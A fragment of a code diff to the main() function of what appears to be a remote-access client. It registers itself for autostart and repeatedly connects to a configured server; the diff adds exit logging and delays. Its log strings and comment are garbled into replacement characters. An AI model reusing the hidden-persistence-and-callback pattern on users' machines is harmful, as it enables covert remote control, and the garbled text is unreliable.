+            Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.");
+            Sleep(1000);
+            return r;
+        }
     }
 
     BOOL ok = SetSelfStart(argv[0], REG_NAME);
@@ -237,7 +246,11 @@ int main(int argc, const char *argv[])
         for (int i = 0; !ret && i < argc; i++) {
             Mprintf(" Arg [%d]: %s\n", i, argv[i]);
         }
-        if (ret) return 0x20251202;
+        if (ret) {
+            Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.");
+            Sleep(1000);
+            return 0x20251202;
+        }
         g_ConnectAddress.iStartup = Startup_MEMDLL;
     }
 
@@ -279,8 +292,11 @@ int main(int argc, const char *argv[])
             }
             CloseHandle(hProcess);
             Mprintf("Process [%d] is finished.\n", pid);
-            if (status == 1)
+            if (status == 1) {
+                Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.");
+                Sleep(1000);
                 return -1;
+            }
         } while (pid);
     }
 
@@ -293,12 +309,18 @@ int main(int argc, const char *argv[])
                        argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
                        argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
         if (ret == 1) {
+            Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.");
+            Sleep(1000);
             return -1;
         }
     } while (status == 0);
 
     status = 0;
-    return -1;
+    Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.");
+    Sleep(1000);
+    Logger::getInstance().stop();
+
+    return 0;
 }
 
 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>: IP <20><> <20>˿<EFBFBD>.